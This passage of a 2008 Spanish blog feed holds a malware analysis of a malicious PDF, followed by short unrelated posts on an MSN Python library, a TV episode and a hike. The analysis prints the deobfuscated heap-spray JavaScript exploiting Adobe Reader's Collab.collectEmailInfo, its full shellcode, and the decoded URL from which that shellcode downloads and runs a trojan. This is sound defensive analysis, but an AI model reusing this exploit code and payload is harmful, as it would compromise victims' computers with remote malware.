/&gt;&lt;br /&gt;Pasandolo por VirusTotal: &lt;a href="http://www.virustotal.com/analisis/962adbeaea8e2beb33ec3fb29bf8b0a7"&gt;c7d65e71766c2621f9abc2a7fecfc0fe&lt;/a&gt; vemos que está clasificado como exploit para PDF:&lt;br /&gt;&lt;table border="1"&gt;&lt;tr&gt;&lt;td colspan="4"&gt;File test.pdf received on 11.12.2008 21:03:46 (CET)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Antivirus&lt;/td&gt;&lt;td&gt;Version&lt;/td&gt;&lt;td&gt;Last Update&lt;/td&gt;&lt;td&gt;Result&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AntiVir&lt;/td&gt;&lt;td&gt;7.9.0.31&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;JS/Dldr.Small.CR.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;BitDefender&lt;/td&gt;&lt;td&gt;7.2&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Trojan.JS.Downloader.BGI&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DrWeb&lt;/td&gt;&lt;td&gt;4.44.0.09170&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Exploit.PDF.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;F-Secure&lt;/td&gt;&lt;td&gt;8.0.14332.0&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Exploit.JS.Pdfka.w&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GData&lt;/td&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Trojan.JS.Downloader.BGI&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ikarus&lt;/td&gt;&lt;td&gt;T3.1.1.45.0&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Exploit.Win32.Pdfjsc.G&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;McAfee&lt;/td&gt;&lt;td&gt;5431&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Exploit-PDF.c&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Microsoft&lt;/td&gt;&lt;td&gt;1.4104&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Exploit:Win32/Pdfjsc.G&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SecureWeb-Gateway&lt;/td&gt;&lt;td&gt;6.7.6&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Script.Dldr.Small.CR.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sophos&lt;/td&gt;&lt;td&gt;4.35.0&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Mal/PDFEx-B&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Symantec&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Bloodhound.Exploit.196&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;Additional information&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;File size: 2815 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;MD5...: c7d65e71766c2621f9abc2a7fecfc0fe&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;SHA1..: ebf61c8cc4a9fa0aeb8fba48a2a52e5da1ba1dc0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;SHA256: 7100941305502e5f055fa7f68718090817eb0e98388f1d0dc3807a16cfd63b51&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;SHA512: 4698352526f0d78b306f0ac62246108d2c72be9e765dcd7e7f6e4aa301146599&lt;br&gt;966dbfad0c628cc2c5d004633b195088e2c49a38e01b91defc7ad4177eb03ab3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;PEiD..: -&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;TrID..: File type identification&lt;br&gt;Adobe Portable Document Format (100.0%)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;PEInfo: -&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Vamos a echarle un vistazo a las tripas, y abriendo el archivo nos encontramos que lanza una función Javascript:&lt;br /&gt;&lt;pre class="codigo"&gt;%PDF-1.3&lt;br /&gt;%âãÏÓ&lt;br /&gt;1 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/OpenAction &amp;lt;&amp;lt;/JS (this.IMHUDl0\(\))&lt;br /&gt;/S /JavaScript&lt;br /&gt;&gt;&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;13 0 obj&lt;br /&gt;&amp;lt;&amp;lt;/Filter /FlateDecode&lt;br /&gt;/Length 1247&lt;br /&gt;&gt;&gt;&lt;br /&gt;stream&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y que el resto de código debe andar dentro de los streams, FlateDecode implica compresion zlib, así que extrayendo el contenido y renombrando las variables para hacerlo legible:&lt;br /&gt;&lt;pre class="codigo"&gt;function main() {    &lt;br /&gt; var narray = new Array();&lt;br /&gt;    function func1(param1, param2) {&lt;br /&gt;            while (param1.length*2 &amp;lt; param2) {&lt;br /&gt;             param1 += param1;&lt;br /&gt;            }&lt;br /&gt;            param1 = param1.substring(0,param2/2);&lt;br /&gt;            return param1;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    function func2() {&lt;br /&gt;            var pos1 = 0x0c0c0c0c;&lt;br /&gt;            var packed = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805&lt;br /&gt;%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF&lt;br /&gt;%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B&lt;br /&gt;%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA&lt;br /&gt;%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF&lt;br /&gt;%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6&lt;br /&gt;%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10&lt;br /&gt;%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC&lt;br /&gt;%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C&lt;br /&gt;%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364&lt;br /&gt;%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u622F%u6769%u662E&lt;br /&gt;%u2D66%u7266%u6565%u6F68%u7473%u6E69%u2E67%u6F63%u2F6D%u6976%u2F70%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3036%u3333%u2635&lt;br /&gt;%u7073%u3D6C%u0034");&lt;br /&gt;            var ini = 0x400000;&lt;br /&gt;            var packed2 = packed.length * 2;&lt;br /&gt;            var param2 = ini - (packed2+0x38);&lt;br /&gt;            var param1 = unescape("%u9090%u9090");&lt;br /&gt;            param1 = func1(param1, param2);&lt;br /&gt;            var pasos = (pos1 - 0x400000)/ini;&lt;br /&gt;&lt;br /&gt;            for (var i=0;i&amp;lt;pasos;i++) {&lt;br /&gt;                    narray[i] = param1 + packed;&lt;br /&gt;            }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    function func3() {&lt;br /&gt;            var version = app.viewerVersion.toString();&lt;br /&gt;            version = version.replace(/\D/g,"");&lt;br /&gt;            var vnum = new Array(version.charAt(0),version.charAt(1),version.charA&lt;br /&gt;t(2));&lt;br /&gt;            if ((vnum[0] == 8 &amp;&amp;&lt;br /&gt;            ((vnum[1] == 1 &amp;&amp; vnum[2] &amp;lt; 2) || vnum[1] &amp;lt; 1)) ||&lt;br /&gt;            (vnum[0] == 7 &amp;&amp; vnum[1] &amp;lt; 1) ||&lt;br /&gt;            (vnum[0] &amp;lt; 7)) {&lt;br /&gt;                    func2();&lt;br /&gt;                    var salto = unescape("%u0c0c%u0c0c");&lt;br /&gt;                    while(salto.length &amp;lt; 44952) salto += salto;&lt;br /&gt;                    this.collabStore = Collab.collectEmailInfo({subj: "",msg: salto});&lt;br /&gt;            }&lt;br /&gt;    }&lt;br /&gt;    func3();&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Si nos fijamos en la func3 vemos que comprueba que la versión del programa sea lo que comentabamos al principio &amp;lt;8.1.2 o 7.1.0 o &amp;lt;7, despues ejecuta la func2 que rellena la memoria con un array donde varias veces pone el mismo contenido, cada uno de los cuales tiene al final lo que hay en la variable packed, que obviamente será el shellcode. Para llegar a lanzar el shellcode explota la función Collab.collectEmailInfo que al reventar acabará ejecutando el shellcode.&lt;br /&gt;&lt;br /&gt;Descompilando el shellcode sale el código, que a grandes rasgos se trata de un downloader, que posteriormente ejecutará el archivo descargado, al final encontramos la url de descarga:&lt;br /&gt;&lt;pre class="codigo"&gt;#!env python&lt;br /&gt;# -*- coding: utf-8 -*-&lt;br /&gt;&lt;br /&gt;buffer = ''&lt;br /&gt;bin="""%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u622F%u6769%u662E%u2D66%u7266%u6565%u6F68%u7473%u6E69%u2E67%u6F63%u2F6D%u6976%u2F70%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3036%u3333%u2635%u7073%u3D6C%u0034"""&lt;br /&gt;for x in bin.split('%u')[1:]: buffer+=chr(int(x[2:],16))+chr(int(x[:2],16))&lt;br /&gt;open('bin','wb').write(buffer)&lt;br /&gt;&lt;br /&gt;http://big.ff-freehosting.com/vip/load.php?id=60335&amp;spl=4&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Por último podemos echarle un vistazo al archivo que se descarga pasandolo por VT: &lt;a href="http://www.virustotal.com/analisis/69a648523f12340f9e0cc9535998b1ff"&gt;b653f2680b4a67b1558800d1e41b40fa&lt;/a&gt;&lt;br /&gt;&lt;table border="1"&gt;&lt;tr&gt;&lt;td colspan="4"&gt;File exes.off received on 11.12.2008 23:49:41 (CET)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Antivirus&lt;/td&gt;&lt;td&gt;Version&lt;/td&gt;&lt;td&gt;Last Update&lt;/td&gt;&lt;td&gt;Result&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;BitDefender&lt;/td&gt;&lt;td&gt;7.2&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Trojan.FakeAlert.ANE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;eSafe&lt;/td&gt;&lt;td&gt;7.0.17.0&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Suspicious File&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;F-Secure&lt;/td&gt;&lt;td&gt;8.0.14332.0&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Suspicious:W32/Malware!Gemini&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GData&lt;/td&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Trojan.FakeAlert.ANE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;McAfee&lt;/td&gt;&lt;td&gt;5431&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Generic FakeAlert.d&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Microsoft&lt;/td&gt;&lt;td&gt;1.4104&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Trojan:Win32/Wantvi.I&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Prevx1&lt;/td&gt;&lt;td&gt;V2&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Malicious Software&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sophos&lt;/td&gt;&lt;td&gt;4.35.0&lt;/td&gt;&lt;td&gt;2008.11.12&lt;/td&gt;&lt;td style="color: red;"&gt;Mal/EncPk-EQ&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;Additional information&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;File size: 45056 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;MD5...: b653f2680b4a67b1558800d1e41b40fa&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;SHA1..: c0963db7faf2a7770cf0c3f793631d5af00ef1df&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;SHA256: af1b7c4611fed188c9b3624d5566d601601ff9772ce7ef5247d53c4679d55592&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;SHA512: 699b7e431d50729e5822099d6c6f81b6d5ed7a03292cae38e3c09ffcd670fe9b&lt;br&gt;a151d962176a1bc61c144d97b0f9c75fb59a155937c67e716729074558cb7fe9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;PEiD..: -&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;TrID..: File type identification&lt;br&gt;Win32 Executable MS Visual C++ (generic) (65.2%)&lt;br&gt;Win32 Executable Generic (14.7%)&lt;br&gt;Win32 Dynamic Link Library (generic) (13.1%)&lt;br&gt;Generic Win/DOS Executable (3.4%)&lt;br&gt;DOS Executable Generic (3.4%)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;PEInfo: PE Structure information&lt;br&gt;&lt;br&gt;( base data )&lt;br&gt;entrypointaddress.: 0x401008&lt;br&gt;timedatestamp.....: 0x0 (Thu Jan 01 00:00:00 1970)&lt;br&gt;machinetype.......: 0x14c (I386)&lt;br&gt;&lt;br&gt;( 3 sections )&lt;br&gt;name        viradd    virsiz   rawdsiz  ntrpy  md5&lt;br&gt;.text       0x1000    0x1000     0x200   5.81  6998d4b76cb5eaa5be06d0f5108c3df7&lt;br&gt;.data       0x2000    0xc000    0xa600   7.94  7adbc7d2428f12e6c14e16d54416832d&lt;br&gt;.xdata      0xe000    0x4000     0x200   0.00  bf619eac0cdf3f68d496ea9344137e8b&lt;br&gt;&lt;br&gt;( 3 imports )  &lt;br&gt;&amp;gt; KERNEL32.DLL: BackupWrite, CloseProfileUserMapping, CreateNamedPipeW, DebugBreak, DeleteFiber, EnterCriticalSection, EnumDateFormatsExW, ExitProcess, GetDefaultCommConfigW, GetDiskFreeSpaceExA, GetLastError, GetPrivateProfileStringW, GetProcessAffinityMask, GetStringTypeExW, GetSystemTimeAsFileTime, GetTempFileNameW, GlobalReAlloc, LockResource, Module32Next, MultiByteToWideChar, ReadConsoleA, ResetEvent, SetFileAttributesA, SuspendThread, WriteConsoleA, WriteProfileSectionA, _lread, lstrlenW&lt;br&gt;&amp;gt; USER32.DLL: AnyPopup, CallMsgFilterA, CreateWindowExW, DdeCmpStringHandles, DefWindowProcA, DialogBoxIndirectParamA, DrawMenuBar, EmptyClipboard, EnumDesktopsW, EnumWindows, FindWindowExA, GetLastActivePopup, GetMessageExtraInfo, GetMonitorInfoA, GetParent, IMPGetIMEW, IsCharAlphaA, IsCharUpperW, LoadIconW, MessageBoxA, MoveWindow, OemKeyScan, OpenWindowStationW, SetDebugErrorLevel, SetMenuContextHelpId, SetSysColorsTemp, SetWinEventHook, SetWindowContextHelpId, SetWindowPos, WindowFromDC&lt;br&gt;&amp;gt; GDI32.DLL: CreateBrushIndirect, CreateDCA, CreateDIBPatternBrush, FillPath, FlattenPath, GetBkColor, GetCharABCWidthsW, GetCurrentPositionEx, GetGlyphOutlineA, GetRasterizerCaps, GetTextExtentPoint32A, GetWindowExtEx, LineDDA, PatBlt, PolyPolyline, SetAbortProc, SetBitmapDimensionEx, SetDIBColorTable, SetGraphicsMode, SetMapMode, SetMetaRgn, SetMiterLimit, SetStretchBltMode, SetWinMetaFileBits, StartDocW&lt;br&gt;&lt;br&gt;( 0 exports ) &lt;br&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="4"&gt;Prevx info: http://info.prevx.com/aboutprogramtext.asp?PX5=9571524D0052B61FB09B00F1182C01000929AF19&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5579363386422516479?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5579363386422516479/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5579363386422516479&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5579363386422516479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5579363386422516479'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/11/explotando-adobe-reader.html' title='Explotando Adobe Reader'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3404345780494312329</id><published>2008-10-26T11:35:00.005+01:00</published><updated>2008-10-26T12:03:46.675+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>msnp.py: protocolo MSN en python</title><content type='html'>He estado probando el msnp.py, una librería que implementa el protocolo de MSN (messenger) en python, genial para hacer bots o scripts que se comuniquen mediante chat: &lt;a href="http://msnp.sourceforge.net/tutorial.html"&gt;tutorial msnp.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Al tema de la documentación le falta bastante, pues solo están comentadas las funciones básicas, conexión y chat, así que tirando de los detalles del protocolo comento el tema de añadir y eliminar usuarios, para poder automatizarlo y tal, la info está sacada de &lt;a href="http://www.hypothetic.org/docs/msn/notification/get_details.php"&gt;la guía del protocolo MSN messenger&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;Existen cuatro listas personales, tres controlan nuestros contactos y una cuarta nos informa que usuarios nos tienen agregados (quieren saber de nuestra presencia online).&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Forward List (FL): Nuestra lista de contactos, usuarios de los que queremos conocer cuando están online.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Reverse List (RL): Lista de usuarios que nos tienen en su lista FL (están suscritos a nuestra presencia), esta lista no es modificable, solo podemos consultarla.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Allow List (AL): Lista de usuarios a los que permites que te vean online. Podemos eliminar a un usuario de nuestra lista de contactos (FL) y mantenerlo en la AL, si en un futuro lo agregaramos de nuevo inmediatamente nos vería, así es como funciona un cliente de messenger normal. Si habéis trasteado por las opciones habréis visto usuarios permitidos que ya no teníais entre los contactos.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Block List (BL): Lista de bloqueados, usuarios que especificamente no quieres que vean tu presencia a pesar de que los mantenienes agregados (lista FL).&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Cuando un usuario te agrega en su cliente nosotros recibimos una actualización de nuestra lista de contactos (.sync_friend_list()) en la que aparecerá el nuevo contacto en nuestra lista RL. A partir de aquí podemos ignorar a este nuevo usuario, el se suscribe a nuestra presencia, pero no recibirá información alguna nuestra. O bien podemos añadirle a nuestras listas, para ello debemos introducirlo en nuestra lista FL y permitir que nos vea añadiendolo a la lista AL.&lt;br /&gt;Para bloquearlo abría que cambiarlo de la lista AL a la lista BL, y si ya no queremos tenerlo más lo quitamos de la lista FL, adicionalmente lo podemos quitar de las listas AL y BL.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3404345780494312329?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3404345780494312329/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3404345780494312329&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3404345780494312329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3404345780494312329'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/10/msnppy-protocolo-msn-en-python.html' title='msnp.py: protocolo MSN en python'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1406075336765042855</id><published>2008-10-26T11:10:00.005+01:00</published><updated>2008-10-26T11:33:39.156+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Supernatural s04e06</title><content type='html'>La última temporada de supernatural está que te pasas, definitivamente una de las pocas series "serias" que cuando hacen un capitulo cachondo tiene gracia, a continuación los bonus del sexto capitulo. Solo tiene gracia si has visto el capitulo entero, pero el pavo se lo curra un montón ;)&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/7kAymQ2QUMM&amp;hl=en&amp;fs=1&amp;rel=0"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/7kAymQ2QUMM&amp;hl=en&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;Risin up&lt;br /&gt;back on the street&lt;br /&gt;did my time took my chances&lt;br /&gt;went the distance now I'm back on my feet&lt;br /&gt;just a man and his will to survive&lt;br /&gt;so many times&lt;br /&gt;it happens too fast&lt;br /&gt;you trade your passion for glory&lt;br /&gt;don't lose your grip on the dreams of the past&lt;br /&gt;you must fight just to keep them alive&lt;br /&gt;&lt;br /&gt;It's the eye of the tiger&lt;br /&gt;its the cream of the fight&lt;br /&gt;risin up to the challenge of our rivals&lt;br /&gt;and the last known survivor stalks his prey in the night&lt;br /&gt;and he's watching us all with the eye of the tiger&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1406075336765042855?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1406075336765042855/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1406075336765042855&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1406075336765042855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1406075336765042855'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/10/supernatural-s04e06.html' title='Supernatural s04e06'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-9108225557870245006</id><published>2008-10-20T23:02:00.006+02:00</published><updated>2008-10-20T23:30:03.025+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='montañismo'/><title type='text'>Subida al Huma</title><content type='html'>Si bien no subimos al Huma, nos quedamos a mitad de camino por el mal tiempo, las nubes andaban por la cumbre y no era plan perderse en la niebla.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lVFCOEwXZGU/SPz1lh0T9UI/AAAAAAAAAB4/9pYjQUFt0Wc/s1600-h/DSC05550.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_lVFCOEwXZGU/SPz1lh0T9UI/AAAAAAAAAB4/9pYjQUFt0Wc/s400/DSC05550.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5259348489943643458" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Al final subimos a un pico cercano desde el que se divisa la presa y el embalse superior del 